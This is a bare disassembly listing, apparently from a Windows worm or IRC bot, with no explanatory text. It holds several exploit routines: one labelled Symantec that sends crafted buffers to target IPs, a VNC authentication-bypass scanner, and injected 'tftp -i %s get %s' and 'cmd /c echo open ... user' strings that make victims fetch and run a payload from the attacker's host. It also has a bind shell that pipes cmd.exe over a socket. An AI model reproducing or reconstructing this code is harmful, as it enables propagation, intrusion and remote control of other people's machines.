mov [ebp+var_10], 2
push eax
call dword_4CBA14 ; inet_addr
mov [ebp+var_C], eax
mov ax, word_433290
push eax
call dword_4CB9D4 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E3CA
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz loc_40E3CA
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4CB9EC ; recv
mov edi, offset byte_429108
push edi
push edi
push [ebp+arg_0]
call sub_40AA06
pop ecx
mov esi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 18h
push dword_4CB710
push [ebp+arg_0]
call sub_40AA06
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E3CA
push 1F4h
call dword_427080 ; Sleep
push edi
push offset dword_42A2E8
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E3CE
loc_40E3CA: ; CODE XREF: sub_40E292+51j
; sub_40E292+67j ...
xor al, al
jmp short loc_40E3EC
; ---------------------------------------------------------------------------
loc_40E3CE: ; CODE XREF: sub_40E292+136j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4CB9EC ; recv
push ebx
call dword_4CBA6C ; closesocket
mov al, 1
loc_40E3EC: ; CODE XREF: sub_40E292+13Aj
pop edi
pop esi
pop ebx
leave
retn
sub_40E292 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E3F1 proc near ; CODE XREF: .packed:0040E946p
; .packed:0040E968p
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_41C500
mov eax, dword_43341C
push ebx
mov [ebp+var_10], eax
mov eax, dword_433420
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_3C]
push offset loc_433410
push eax
call sub_41C266
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_103]
loc_40E430: ; CODE XREF: sub_40E3F1+4Ej
mov cl, [ebp+esi+var_3C]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_40E430
push 60h
lea eax, [ebp+var_B4]
push offset dword_432EA0
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
shl eax, 1
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_41CD20
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC_0+3)
push eax
call sub_41B9C0
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_41CD20
mov ax, word_433290
add esp, 2Ch
push eax
call dword_4CB9D4 ; htons
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_432BA0
call sub_41CD20
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_40E5ED
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi
push 90h
push eax
call sub_41BF70
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_4332D0[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_14E0]
push eax
call sub_41CD20
mov esi, offset loc_432AF0
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_14D0]
push esi
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_11AC]
push offset loc_433408
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_11A8]
push [ebp+var_14]
push eax
call sub_41CD20
add esp, 40h
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_41CD20
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4803]
loc_40E5A6: ; CODE XREF: sub_40E3F1+1C6j
mov cl, [ebp+esi+var_1CC4]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_40E5A6
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_41BF70
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_41BF70
add esp, 18h
jmp short loc_40E644
; ---------------------------------------------------------------------------
loc_40E5ED: ; CODE XREF: sub_40E3F1+118j
push 7D0h
lea eax, [ebp+var_F14]
push 90h
push eax
call sub_41BF70
mov esi, offset loc_432AF0
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_41CD20
lea eax, [ebp+var_10]
push eax
call sub_41B9C0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_41CD20
mov eax, dword_4332D0
add esp, 2Ch
mov [ebp+var_768], eax
loc_40E644: ; CODE XREF: sub_40E3F1+1FAj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_41BF70
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E683
loc_40E67C: ; CODE XREF: sub_40E3F1+2B9j
; sub_40E3F1+2E0j ...
xor al, al
jmp loc_40E82B
; ---------------------------------------------------------------------------
loc_40E683: ; CODE XREF: sub_40E3F1+289j
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC ; recv
push ebx
push 68h
push offset dword_432F04
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC ; recv
push ebx
push 0A0h
push offset dword_432F70
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC ; recv
cmp [ebp+arg_C0], ebx
jz loc_40E799
push 68h
lea eax, [ebp+var_89B4]
push offset dword_433128
push eax
call sub_41CD20
lea eax, [ebp+var_4804]
push 1B5Ah
push eax
lea eax, [ebp+var_894C]
push eax
call sub_41CD20
push 70h
lea eax, [ebp+var_68DC]
push offset dword_433194
push eax
call sub_41CD20
lea eax, [ebp+var_3770]
push 0A5Eh
push eax
lea eax, [ebp+var_686C]
push eax
call sub_41CD20
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_433208
push eax
call sub_41CD20
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC ; recv
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_40E7EF
; ---------------------------------------------------------------------------
loc_40E799: ; CODE XREF: sub_40E3F1+2F8j
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_433014
push eax
call sub_41CD20
lea eax, [ebp+var_F14]
push 7D0h
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_41CD20
push 90h
lea eax, [ebp+var_245C]
push offset off_433094
push eax
call sub_41CD20
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_40E7EF: ; CODE XREF: sub_40E3F1+3A6j
push eax
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E67C
push 12Ch
call dword_427080 ; Sleep
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E292
add esp, 0BCh
test al, al
setnz al
loc_40E82B: ; CODE XREF: sub_40E3F1+28Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40E3F1 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
mov [ebp-4], edi
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+0Ch]
mov word ptr [ebp-14h], 2
push eax
call dword_4CBA14 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-10h], eax
call dword_4CB9D4 ; htons
push 6
push 1
push 2
mov [ebp-12h], ax
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E929
lea eax, [ebp-14h]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz loc_40E929
push edi
push 89h
push offset dword_432C88
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E929
mov esi, 640h
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC ; recv
push edi
push 0A8h
push offset dword_432D14
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E929
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC ; recv
push edi
push 0DEh
push offset dword_432DC0
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E929
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC ; recv
movsx eax, byte ptr [ebp-810h]
sub eax, 30h
jz short loc_40E933
dec eax
jz short loc_40E930
loc_40E929: ; CODE XREF: .packed:0040E884j
; .packed:0040E89Aj ...
xor eax, eax
jmp loc_40E9F6
; ---------------------------------------------------------------------------
loc_40E930: ; CODE XREF: .packed:0040E927j
push edi
jmp short loc_40E957
; ---------------------------------------------------------------------------
loc_40E933: ; CODE XREF: .packed:0040E924j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E3F1
add esp, 0C4h
test al, al
jnz short loc_40E977
push 1
loc_40E957: ; CODE XREF: .packed:0040E931j
push ebx
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E3F1
add esp, 0C4h
test al, al
jz short loc_40E97E
loc_40E977: ; CODE XREF: .packed:0040E953j
mov dword ptr [ebp-4], 1
loc_40E97E: ; CODE XREF: .packed:0040E975j
push ebx
call dword_4CBA6C ; closesocket
cmp dword ptr [ebp-4], 0
jz short loc_40E9F3
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
lea eax, [ebp-214h]
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-214h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
lea eax, [ebp-214h]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
add esp, 2Ch
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40E9F3: ; CODE XREF: .packed:0040E989j
push 1
pop eax
loc_40E9F6: ; CODE XREF: .packed:0040E92Bj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E9FB proc near ; CODE XREF: sub_40EAE9+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_4271F0 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call dword_4271F4 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_427204 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40EAC9
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4271F8 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40EAC9
mov edi, 400h
push esi
mov esi, dword_4271FC
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_429108
push eax
push eax
push dword_4CB710
push [ebp+arg_0]
call sub_40AA06
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41C360
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_427208 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40EACD
loc_40EAC9: ; CODE XREF: sub_40E9FB+50j
; sub_40E9FB+62j
xor eax, eax
jmp short loc_40EAE4
; ---------------------------------------------------------------------------
loc_40EACD: ; CODE XREF: sub_40E9FB+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call dword_427200 ; closesocket
push 1
pop eax
loc_40EAE4: ; CODE XREF: sub_40E9FB+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40E9FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EAE9 proc near ; CODE XREF: sub_40C3E8+1EAp
; DATA XREF: .packed:off_4317FCo
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4CBA14 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4CB9D4 ; htons
push 6
push 1
push 2
mov [ebp+var_E], ax
call dword_427204 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40EB5B
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4271F8 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40EB3C
push esi
jmp short loc_40EB55
; ---------------------------------------------------------------------------
loc_40EB3C: ; CODE XREF: sub_40EAE9+4Ej
push 0
push 1213h
push offset dword_433424
push esi
call dword_427208 ; send
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40EB5F
loc_40EB55: ; CODE XREF: sub_40EAE9+51j
call dword_427200 ; closesocket
loc_40EB5B: ; CODE XREF: sub_40EAE9+3Cj
xor eax, eax
jmp short loc_40EBA1
; ---------------------------------------------------------------------------
loc_40EB5F: ; CODE XREF: sub_40EAE9+6Aj
call dword_427200 ; closesocket
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E9FB
add esp, 0C0h
test eax, eax
jz short loc_40EB9E
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40EB9E: ; CODE XREF: sub_40EAE9+9Ej
push 1
pop eax
loc_40EBA1: ; CODE XREF: sub_40EAE9+74j
pop edi
pop esi
leave
retn
sub_40EAE9 endp
; =============== S U B R O U T I N E =======================================
sub_40EBA5 proc near ; CODE XREF: .packed:0040EC93p
; .packed:0040ECF5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
loc_40EBAD: ; CODE XREF: sub_40EBA5+2Dj
test edi, edi
jle short loc_40EBD8
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_4CB9EC ; recv
test eax, eax
jz short loc_40EBD4
cmp eax, 0FFFFFFFFh
jz short loc_40EBD4
sub edi, eax
add esi, eax
jmp short loc_40EBAD
; ---------------------------------------------------------------------------
loc_40EBD4: ; CODE XREF: sub_40EBA5+22j
; sub_40EBA5+27j
xor eax, eax
jmp short loc_40EBDB
; ---------------------------------------------------------------------------
loc_40EBD8: ; CODE XREF: sub_40EBA5+Aj
push 1
pop eax
loc_40EBDB: ; CODE XREF: sub_40EBA5+31j
pop edi
pop esi
retn
sub_40EBA5 endp
; =============== S U B R O U T I N E =======================================
sub_40EBDE proc near ; CODE XREF: .packed:0040ECDFp
; .packed:0040ED0Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40EC1B
xor esi, esi
test edi, edi
jle short loc_40EC15
loc_40EBEE: ; CODE XREF: sub_40EBDE+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40EC1B
test eax, eax
jz short loc_40EC1B
add esi, eax
cmp esi, edi
jl short loc_40EBEE
loc_40EC15: ; CODE XREF: sub_40EBDE+Ej
push 1
pop eax
loc_40EC18: ; CODE XREF: sub_40EBDE+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40EC1B: ; CODE XREF: sub_40EBDE+8j
; sub_40EBDE+2Bj ...
xor eax, eax
jmp short loc_40EC18
sub_40EBDE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24Ch
push ebx
mov ax, word_4346DC
push esi
push edi
push 0
push 1
push 2
mov [ebp-2], ax
pop esi
push esi
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40EC4D
push eax
jmp short loc_40EC81
; ---------------------------------------------------------------------------
loc_40EC4D: ; CODE XREF: .packed:0040EC48j
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
mov [ebp-4Ch], si
call dword_4CB9D4 ; htons
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40EC8C
push ebx
loc_40EC81: ; CODE XREF: .packed:0040EC4Bj
call dword_4CBA6C ; closesocket
jmp loc_40EE87
; ---------------------------------------------------------------------------
loc_40EC8C: ; CODE XREF: .packed:0040EC7Ej
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-20h]
and byte ptr [ebp-2Ch], 0
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-38h]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax
call sub_41CCE3
add esp, 10h
cmp eax, esi
jnz loc_40EE80
cmp dword ptr [ebp-28h], 3
jz short loc_40ECD8
cmp dword ptr [ebp-20h], 8
jnz loc_40EE80
loc_40ECD8: ; CODE XREF: .packed:0040ECCCj
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-3Ch]
push esi
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-2]
push 1
push eax
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-24h]
push 4
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
mov eax, [ebp-24h]
mov edi, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, edi
mov esi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, esi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp-24h], ecx
jnz loc_40EE80
push 1
push offset word_4CB88C
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-1Ch]
push 18h
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
xor eax, eax
mov ecx, [ebp-8]
mov al, [ebp-1Bh]
mov edx, ecx
mov ah, [ebp-1Ch]
mov [ebp-1Ch], ax
xor eax, eax
mov al, [ebp-19h]
mov ah, [ebp-1Ah]
mov [ebp-1Ah], ax
xor eax, eax
mov al, [ebp-13h]
mov ah, [ebp-14h]
mov [ebp-14h], ax
xor eax, eax
mov al, [ebp-11h]
mov ah, [ebp-12h]
mov [ebp-12h], ax
xor eax, eax
mov al, [ebp-0Fh]
mov ah, [ebp-10h]
mov [ebp-10h], ax
mov eax, ecx
and eax, edi
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, esi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp-8], eax
add eax, 2
push eax
call sub_41D9A5
mov edi, [ebp-8]
pop ecx
test edi, edi
mov esi, eax
jle short loc_40EE10
push edi
push esi
push ebx
call sub_40EBA5
add esp, 0Ch
loc_40EE10: ; CODE XREF: .packed:0040EE03j
and byte ptr [edi+esi], 0
lea eax, [ebp+0Ch]
push eax
push esi
push dword ptr [ebp-20h]
lea eax, [ebp-24Ch]
push dword ptr [ebp-28h]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-24Ch]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
lea eax, [ebp-24Ch]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
add esp, 34h
shl eax, 6
inc dword_431800[eax]
push ebx
lea eax, dword_431800[eax]
call dword_427200 ; closesocket
push 1
pop eax
jmp short loc_40EE89
; ---------------------------------------------------------------------------
loc_40EE80: ; CODE XREF: .packed:0040EC9Dj
; .packed:0040ECC2j ...
push ebx
call dword_427200 ; closesocket
loc_40EE87: ; CODE XREF: .packed:0040EC87j
xor eax, eax
loc_40EE89: ; CODE XREF: .packed:0040EE7Ej
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EE8E proc near ; DATA XREF: sub_40EF1C+15Bo
var_404 = byte ptr -404h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40EE97: ; CODE XREF: sub_40EE8E+25j
; sub_40EE8E+41j
push 0
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4CE708
call dword_4CB9EC ; recv
test eax, eax
jle short loc_40EE97
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
lea eax, [ebp+var_404]
push eax
push dword_4CE704
call dword_4270F0 ; WriteFile
jmp short loc_40EE97
sub_40EE8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EED1 proc near ; DATA XREF: sub_40EF1C+142o
var_404 = byte ptr -404h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40EEDA: ; CODE XREF: sub_40EED1+2Fj
; sub_40EED1+49j
lea eax, [ebp+var_4]
and [ebp+var_4], 0
push 0
push eax
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4CE6F8
call dword_4270EC ; ReadFile
cmp [ebp+var_4], 0
jle short loc_40EEDA
push 0
lea eax, [ebp+var_404]
push [ebp+var_4]
push eax
push dword_4CE708
call dword_4CBA24 ; send
jmp short loc_40EEDA
sub_40EED1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EF1C proc near ; DATA XREF: sub_401ACD+2CCAo
var_11C = byte ptr -11Ch
var_98 = dword ptr -98h
var_7C = dword ptr -7Ch
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_38 = word ptr -38h
var_36 = word ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 28h
mov esi, eax
pop ecx
lea edi, [ebp+var_11C]
rep movsd
push 1
xor edi, edi
pop esi
mov [eax+98h], esi
push 10h
lea eax, [ebp+var_38]
push edi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_38], 2
push [ebp+var_98]
call dword_4CB9D4 ; htons
push 6
push esi
push 2
mov [ebp+var_36], ax
call dword_4CBA54 ; socket
mov [ebp+arg_0], eax
lea eax, [ebp+var_38]
push 10h
push eax
push [ebp+arg_0]
call dword_4CBA00 ; bind
push 5
push [ebp+arg_0]
call dword_4CB9FC ; listen
mov ebx, dword_427108
mov esi, dword_427070
loc_40EF9C: ; CODE XREF: sub_40EF1C+1CBj
push edi
push edi
push [ebp+arg_0]
call dword_4CBA68 ; accept
mov dword_4CE708, eax
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4CE704
push offset dword_4CE700
mov [ebp+var_C], 0Ch
mov [ebp+var_4], 1
mov [ebp+var_8], edi
call ebx ; CreatePipe
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4CE6FC
push offset dword_4CE6F8
call ebx ; CreatePipe
push 44h
lea eax, [ebp+var_7C]
push edi
push eax
call sub_41BF70
mov eax, dword_4CE700
add esp, 0Ch
mov [ebp+var_44], eax
mov eax, dword_4CE6FC
mov [ebp+var_40], eax
push edi
push 1
lea eax, [ebp+var_3C]
push 2
push eax
mov [ebp+var_7C], 44h
mov [ebp+var_50], 101h
mov [ebp+var_4C], di
call dword_427104 ; GetCurrentProcess
push eax
push dword_4CE6FC
call dword_427104 ; GetCurrentProcess
push eax
call dword_427100 ; DuplicateHandle
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_7C]
push eax
push edi
push edi
push 4000090h
lea eax, [ebp+var_C]
push 1
push eax
lea eax, [ebp+var_C]
push eax
push offset dword_4346E0
push edi
call dword_427074 ; CreateProcessA
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40EED1
lea eax, [ebp+var_C]
push edi
push eax
call dword_427084 ; CreateThread
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40EE8E
lea eax, [ebp+var_C]
push edi
push eax
call dword_427084 ; CreateThread
push 0FFFFFFFFh
mov [ebp+var_10], eax
push [ebp+var_28]
call dword_4270A8 ; WaitForSingleObject
push edi
push [ebp+var_10]
call dword_4270B4 ; TerminateThread
push edi
push [ebp+var_14]
call dword_4270B4 ; TerminateThread
push [ebp+var_10]
call esi ; CloseHandle
push [ebp+var_14]
call esi ; CloseHandle
push edi
push [ebp+var_28]
call dword_4270FC ; TerminateProcess
push dword_4CE700
call esi ; CloseHandle
push dword_4CE704
call esi ; CloseHandle
push dword_4CE6F8
call esi ; CloseHandle
push dword_4CE6FC
call esi ; CloseHandle
push [ebp+var_24]
call esi ; CloseHandle
push [ebp+var_28]
call esi ; CloseHandle
jmp loc_40EF9C
sub_40EF1C endp
